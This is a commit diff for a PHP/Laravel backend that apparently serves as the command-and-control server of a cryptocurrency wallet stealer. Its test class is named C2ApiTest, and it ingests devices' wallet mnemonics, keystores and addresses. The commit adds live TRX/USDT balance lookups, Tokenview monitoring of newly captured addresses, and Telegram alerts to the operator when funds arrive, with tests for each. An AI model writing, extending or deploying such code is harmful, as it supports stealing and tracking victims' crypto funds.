fix: balance

This commit is contained in:
hashbro
2026-08-10 04:49:36 +08:00
parent aad44bf52e
commit c3d9871ae3
9 changed files with 360 additions and 19 deletions
+43 -2
View File
@@ -10,13 +10,19 @@ use App\Models\Photo;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletKeystore; use App\Models\WalletKeystore;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\WalletSource; use App\Support\WalletSource;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Storage;
class IngestService class IngestService
{ {
public function __construct(private readonly TelegramNotifier $telegram) {} public function __construct(
private readonly TelegramNotifier $telegram,
private readonly WalletBalanceService $balances,
private readonly TokenviewMonitorService $tokenview,
) {}
/** /**
* Stable device id — currently only from payload `d` / `f`. * Stable device id — currently only from payload `d` / `f`.
@@ -339,8 +345,9 @@ class IngestService
foreach ($coinAttrs as $col => $value) { foreach ($coinAttrs as $col => $value) {
$attrs[$col] = $value; $attrs[$col] = $value;
} }
// Default monitor on for new rows; disabled only when Tokenview enable fails.
if (! $existing) { if (! $existing) {
$attrs['monitor'] = 0; $attrs['monitor'] = 1;
} }
$addr = WalletAddress::query()->updateOrCreate( $addr = WalletAddress::query()->updateOrCreate(
@@ -348,6 +355,19 @@ class IngestService
$attrs $attrs
); );
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
// Tron: client payloads often omit balances — pull TRX/USDT from chain.
// Always refresh on first insert so Telegram/DB get live totals.
if ($isTron && (! $existing || $coinAttrs === [])) {
if ($this->balances->refresh($addr)) {
$addr->refresh();
}
}
if (! $existing) {
$this->enableMonitorOrDisable($addr);
}
$balanceSummary = $addr->coinsSummary(); $balanceSummary = $addr->coinsSummary();
$shouldNotify = ! $existing $shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot()); || ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
@@ -367,6 +387,27 @@ class IngestService
} }
} }
/**
* New addresses start with monitor=1; turn off only when Tokenview add fails.
*/
private function enableMonitorOrDisable(WalletAddress $address): void
{
try {
if ($this->tokenview->syncMonitor($address)) {
return;
}
} catch (\Throwable $e) {
Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
]);
}
if ((int) $address->monitor !== 0) {
$address->monitor = 0;
$address->save();
}
}
/** /**
* `/api/user/avatar/pic` — Notes reader; content = payload.list. * `/api/user/avatar/pic` — Notes reader; content = payload.list.
*/ */
+7 -2
View File
@@ -115,14 +115,19 @@ class TelegramNotifier
string $symbol, string $symbol,
string $amount, string $amount,
?string $chain = null, ?string $chain = null,
?string $balance = null,
): void { ): void {
$this->send(implode("\n", [ $lines = [
'✅ <b>Balance Inbound</b>', '✅ <b>Balance Inbound</b>',
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>', '📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'), '⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>', '📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol), '💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
])); ];
if ($balance !== null && trim($balance) !== '') {
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
}
$this->send(implode("\n", $lines));
} }
private function e(?string $value): string private function e(?string $value): string
@@ -6,6 +6,7 @@ use App\Models\Device;
use App\Models\TokenviewEvent; use App\Models\TokenviewEvent;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Services\TelegramNotifier; use App\Services\TelegramNotifier;
use App\Services\WalletBalanceService;
use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Log;
@@ -14,6 +15,7 @@ class TokenviewMonitorService
public function __construct( public function __construct(
private readonly TokenviewClient $client, private readonly TokenviewClient $client,
private readonly TelegramNotifier $telegram, private readonly TelegramNotifier $telegram,
private readonly WalletBalanceService $balances,
) {} ) {}
/** /**
@@ -119,17 +121,29 @@ class TokenviewMonitorService
return; return;
} }
DB::transaction(function () use ($rows, $deltas) { $tronRows = $rows->filter(function (WalletAddress $row) {
foreach ($rows as $row) { return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
/** @var WalletAddress $row */
foreach ($deltas as $col => $delta) {
$current = $row->{$col};
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
$row->{$col} = $base + $delta;
}
$row->save();
}
}); });
$deltaRows = $rows->filter(function (WalletAddress $row) {
return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true);
});
// Tron webhooks only carry deltas — refresh TRX/USDT from chain as source of truth.
foreach ($tronRows as $row) {
/** @var WalletAddress $row */
if (! $this->balances->refresh($row)) {
$this->applyDeltasToRow($row, $deltas);
}
}
if ($deltaRows->isNotEmpty()) {
DB::transaction(function () use ($deltaRows, $deltas) {
foreach ($deltaRows as $row) {
/** @var WalletAddress $row */
$this->applyDeltasToRow($row, $deltas);
}
});
}
$inbound = []; $inbound = [];
foreach ($deltas as $col => $delta) { foreach ($deltas as $col => $delta) {
@@ -141,18 +155,35 @@ class TokenviewMonitorService
return; return;
} }
$deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id; $primary = $rows->first();
$primary->refresh();
$balanceSummary = $primary->coinsSummary();
$deviceKey = Device::query()->whereKey($primary->device_id)->value('device_id') ?: (string) $primary->device_id;
foreach ($inbound as $col => $delta) { foreach ($inbound as $col => $delta) {
$this->telegram->notifyBalanceChange( $this->telegram->notifyBalanceChange(
(string) $deviceKey, (string) $deviceKey,
$lookup, $lookup,
strtoupper($col), strtoupper($col),
WalletAddress::formatAmount($col, $delta), WalletAddress::formatAmount($col, $delta),
$coin $coin,
$balanceSummary
); );
} }
} }
/**
* @param array<string, float> $deltas
*/
private function applyDeltasToRow(WalletAddress $row, array $deltas): void
{
foreach ($deltas as $col => $delta) {
$current = $row->{$col};
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
$row->{$col} = $base + $delta;
}
$row->save();
}
public function verifySignature(string $rawBody, ?string $signature): bool public function verifySignature(string $rawBody, ?string $signature): bool
{ {
$signKey = (string) config('coruna.tokenview.sign_key'); $signKey = (string) config('coruna.tokenview.sign_key');
+66
View File
@@ -0,0 +1,66 @@
<?php
namespace App\Services;
use App\Models\WalletAddress;
use App\Services\Chain\ChainManager;
use Illuminate\Support\Facades\Log;
/**
* Live on-chain balance refresh for wallet_addresses.
*
* Tron mainnet: only TRX (native) + USDT (official TRC20) are queried.
* BTC / ETH / BNB have no canonical native assets on Tron — skipped.
*/
class WalletBalanceService
{
public function __construct(
private readonly ChainManager $chains,
) {}
/**
* Refresh balances for a wallet row when the chain is supported.
*
* @return bool true when at least one coin column was updated from chain
*/
public function refresh(WalletAddress $address): bool
{
$chain = strtoupper(trim((string) $address->chain_type));
return match ($chain) {
'TRON', 'TRX' => $this->refreshTron($address),
default => false,
};
}
public function refreshTron(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
if ($addr === '') {
return false;
}
try {
$driver = $this->chains->resolve('tron');
$trx = $driver->getNativeBalance($addr);
$usdt = $driver->getTokenBalance(
$addr,
(string) config('coruna.tron.usdt_contract'),
);
$address->trx = $trx;
$address->usdt = $usdt;
// No official BTC/ETH/BNB on Tron — leave those columns untouched.
$address->save();
return true;
} catch (\Throwable $e) {
Log::warning('tron balance refresh failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
'address' => $addr,
]);
return false;
}
}
}
+1
View File
@@ -57,6 +57,7 @@ return [
'tron' => [ 'tron' => [
'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'), 'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
'api_key' => env('TRON_API_KEY', ''), 'api_key' => env('TRON_API_KEY', ''),
// Official Tether USDT TRC20. BTC/ETH/BNB have no canonical Tron natives — not queried.
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'), 'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000), 'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
], ],
+6
View File
@@ -32,5 +32,11 @@
<env name="PULSE_ENABLED" value="false"/> <env name="PULSE_ENABLED" value="false"/>
<env name="TELESCOPE_ENABLED" value="false"/> <env name="TELESCOPE_ENABLED" value="false"/>
<env name="NIGHTWATCH_ENABLED" value="false"/> <env name="NIGHTWATCH_ENABLED" value="false"/>
<!-- Keep outbound integrations off unless a test opts in via config()/Http::fake. -->
<env name="TOKENVIEW_API_KEY" value=""/>
<env name="TOKENVIEW_SIGN_KEY" value=""/>
<env name="TELEGRAM_BOT_TOKEN" value=""/>
<env name="TELEGRAM_OWNER_CHAT_ID" value=""/>
<env name="TRON_API_KEY" value=""/>
</php> </php>
</phpunit> </phpunit>
+68 -3
View File
@@ -14,6 +14,7 @@ use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto; use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile; use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase; use Tests\TestCase;
@@ -212,6 +213,9 @@ class C2ApiTest extends TestCase
], $encSet2['body'])->assertOk(); ], $encSet2['body'])->assertOk();
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count()); $this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
// No Tokenview key → enable fails → monitor forced off.
config(['coruna.tokenview.api_key' => '']);
$tsStatus = '1722585600789'; $tsStatus = '1722585600789';
$encStatus = $crypto->encryptJson([ $encStatus = $crypto->encryptJson([
'd' => 'dev-wallet-1', 'd' => 'dev-wallet-1',
@@ -272,8 +276,17 @@ class C2ApiTest extends TestCase
} }
#[Test] #[Test]
public function status_global_wallet_ad_map_stores_empty_balance(): void public function status_global_wallet_ad_map_refreshes_tron_balances_and_enables_monitor(): void
{ {
config(['coruna.tokenview.api_key' => 'test-key']);
Http::fake([
'*/wallet/getaccount' => Http::response(['balance' => 2_500_000], 200),
'*/wallet/triggerconstantcontract' => Http::response([
'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
], 200),
'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200),
]);
$crypto = new CorunaCrypto; $crypto = new CorunaCrypto;
$ts = '1722585600777'; $ts = '1722585600777';
$enc = $crypto->encryptJson([ $enc = $crypto->encryptJson([
@@ -298,14 +311,66 @@ class C2ApiTest extends TestCase
$this->assertNotNull($addr); $this->assertNotNull($addr);
$this->assertSame('Global Wallet', $addr->source); $this->assertSame('Global Wallet', $addr->source);
$this->assertSame('TRON', $addr->chain_type); $this->assertSame('TRON', $addr->chain_type);
$this->assertNull($addr->trx); $this->assertEqualsWithDelta(2.5, (float) $addr->trx, 0.0000001);
$this->assertNull($addr->usdt); $this->assertEqualsWithDelta(12.5, (float) $addr->usdt, 0.0000001);
$this->assertSame(1, (int) $addr->monitor);
Http::assertSent(fn ($request) => str_contains($request->url(), '/monitor/address/add/trx/'));
}
#[Test]
public function status_disables_monitor_when_tokenview_enable_fails(): void
{
config(['coruna.tokenview.api_key' => 'test-key']);
Http::fake([
'services.tokenview.io/*' => Http::response(['code' => 0, 'msg' => 'fail'], 200),
]);
$crypto = new CorunaCrypto;
$ts = '1722585600778';
$enc = $crypto->encryptJson([
'd' => 'dev-monitor-fail-1',
'a' => 'a1',
'data' => [
['address' => '0xabc1230000000000000000000000000000000009', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'],
],
], $ts);
$this->call('POST', '/api/user/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-monitor-fail-1')->first();
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', '0xabc1230000000000000000000000000000000009')
->first();
$this->assertNotNull($addr);
$this->assertSame(0, (int) $addr->monitor); $this->assertSame(0, (int) $addr->monitor);
} }
#[Test] #[Test]
public function status_ingests_har_shaped_ba_address_map(): void public function status_ingests_har_shaped_ba_address_map(): void
{ {
// New Tron rows refresh TRX/USDT from chain before notify — stub node.
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 4_000_006], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response([
'constant_result' => [str_pad('0', 64, '0', STR_PAD_LEFT)],
], 200);
}
if (str_contains($url, 'tokenview')) {
return Http::response(['code' => 1, 'msg' => 'success'], 200);
}
return Http::response(['ok' => true], 200);
});
$crypto = new CorunaCrypto; $crypto = new CorunaCrypto;
$ts = '1722585600888'; $ts = '1722585600888';
$enc = $crypto->encryptJson([ $enc = $crypto->encryptJson([
+53
View File
@@ -97,6 +97,59 @@ class TokenviewWebhookTest extends TestCase
$this->assertSame(1, TokenviewEvent::query()->count()); $this->assertSame(1, TokenviewEvent::query()->count());
} }
#[Test]
public function webhook_refreshes_tron_balances_from_chain_instead_of_delta(): void
{
config(['coruna.tokenview.sign_key' => '']);
Http::fake([
'*/wallet/getaccount' => Http::response(['balance' => 9_000_000], 200),
'*/wallet/triggerconstantcontract' => Http::response([
'constant_result' => [str_pad(dechex(50_000_000), 64, '0', STR_PAD_LEFT)],
], 200),
'api.telegram.org/*' => Http::response(['ok' => true], 200),
]);
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
]);
$addr = $this->seedMonitoredAddress([
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
'chain_type' => 'TRON',
'trx' => 1.0,
'usdt' => 10.0,
'eth' => null,
]);
$payload = [
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
'txid' => 'tron-txid-refresh-1',
'coin' => 'TRX',
'tokenSymbol' => 'USDT',
'tokenValue' => '5',
'value' => '0.1',
];
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
$addr->refresh();
// Live chain balances win over webhook deltas.
$this->assertEqualsWithDelta(9.0, (float) $addr->trx, 0.0000001);
$this->assertEqualsWithDelta(50.0, (float) $addr->usdt, 0.0000001);
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, 'Balance Inbound')
&& str_contains($text, '+5 USDT')
&& str_contains($text, 'Balance')
&& str_contains($text, 'USDT');
});
}
#[Test] #[Test]
public function webhook_ignores_address_when_monitor_off(): void public function webhook_ignores_address_when_monitor_off(): void
{ {
+73
View File
@@ -0,0 +1,73 @@
<?php
namespace Tests\Unit;
use App\Models\Device;
use App\Models\WalletAddress;
use App\Services\WalletBalanceService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class WalletBalanceServiceTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function refreshes_tron_trx_and_usdt_only(): void
{
Http::fake([
'*/wallet/getaccount' => Http::response(['balance' => 1_000_000], 200),
'*/wallet/triggerconstantcontract' => Http::response([
'constant_result' => [str_pad(dechex(3_000_000), 64, '0', STR_PAD_LEFT)],
], 200),
]);
$device = Device::query()->create([
'device_id' => 'dev-bal-1',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
'chain_type' => 'TRON',
'source' => 'imToken',
'btc' => 1.23,
'eth' => 4.56,
'monitor' => 1,
]);
$ok = app(WalletBalanceService::class)->refresh($addr);
$this->assertTrue($ok);
$addr->refresh();
$this->assertEqualsWithDelta(1.0, (float) $addr->trx, 0.0000001);
$this->assertEqualsWithDelta(3.0, (float) $addr->usdt, 0.0000001);
// Non-Tron columns are not overwritten.
$this->assertEqualsWithDelta(1.23, (float) $addr->btc, 0.0000001);
$this->assertEqualsWithDelta(4.56, (float) $addr->eth, 0.0000001);
}
#[Test]
public function skips_non_tron_chains(): void
{
$device = Device::query()->create([
'device_id' => 'dev-bal-2',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
]);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => '0xab5c66752a9e8167967685f1450532fb96d5d24f',
'chain_type' => 'ETH',
'source' => 'MetaMask',
'eth' => 1.0,
'monitor' => 1,
]);
$ok = app(WalletBalanceService::class)->refresh($addr);
$this->assertFalse($ok);
$addr->refresh();
$this->assertEqualsWithDelta(1.0, (float) $addr->eth, 0.0000001);
}
}